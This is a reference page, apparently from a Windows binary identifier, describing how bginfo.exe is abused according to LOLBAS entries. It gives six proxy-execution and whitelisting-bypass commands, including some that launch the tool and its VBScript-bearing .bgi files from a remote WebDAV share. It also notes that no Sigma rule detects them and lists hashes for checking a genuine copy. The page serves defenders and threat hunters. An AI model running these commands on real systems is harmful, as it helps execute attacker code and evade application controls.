Identifier / Programs / Windows
bginfo.exe
BGInfo - Wallpaper text configurator file version info (xCyclopedia)
LOLBAS Execute, AWL Bypass 1 Sigma rule name it 1 ATT&CK technique 6 documented commands 1 known copy with hashes
How bginfo.exe is abused
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for bginfo.exe.
6 documented commands
Execute T1218 System Binary Proxy Execution User privileges
Execute VBscript code that is referenced within the specified .bgi file.
bginfo.exe {PATH:.bgi} /popup /nolicpromptAWL Bypass T1218 System Binary Proxy Execution User privileges
Execute VBscript code that is referenced within the specified .bgi file.
bginfo.exe {PATH:.bgi} /popup /nolicpromptExecute T1218 System Binary Proxy Execution User privileges
Execute bginfo.exe from a WebDAV server.
\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicpromptAWL Bypass T1218 System Binary Proxy Execution User privileges
Execute bginfo.exe from a WebDAV server.
\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicpromptExecute T1218 System Binary Proxy Execution User privileges
This style of execution may not longer work due to patch.
\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicpromptAWL Bypass T1218 System Binary Proxy Execution User privileges
This style of execution may not longer work due to patch.
\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicpromptNone of the 6 commands the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for bginfo.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for bginfo.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real bginfo.exe?
C:\SysinternalsSuite\1 known copy
4.28 · C:\SysinternalsSuite\Bginfo.exe · signed by Microsoft Corporation
9edb2c6f17e4ab3b372c7992f2e33cc010f4540d2585be5482355dddf280c22eFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.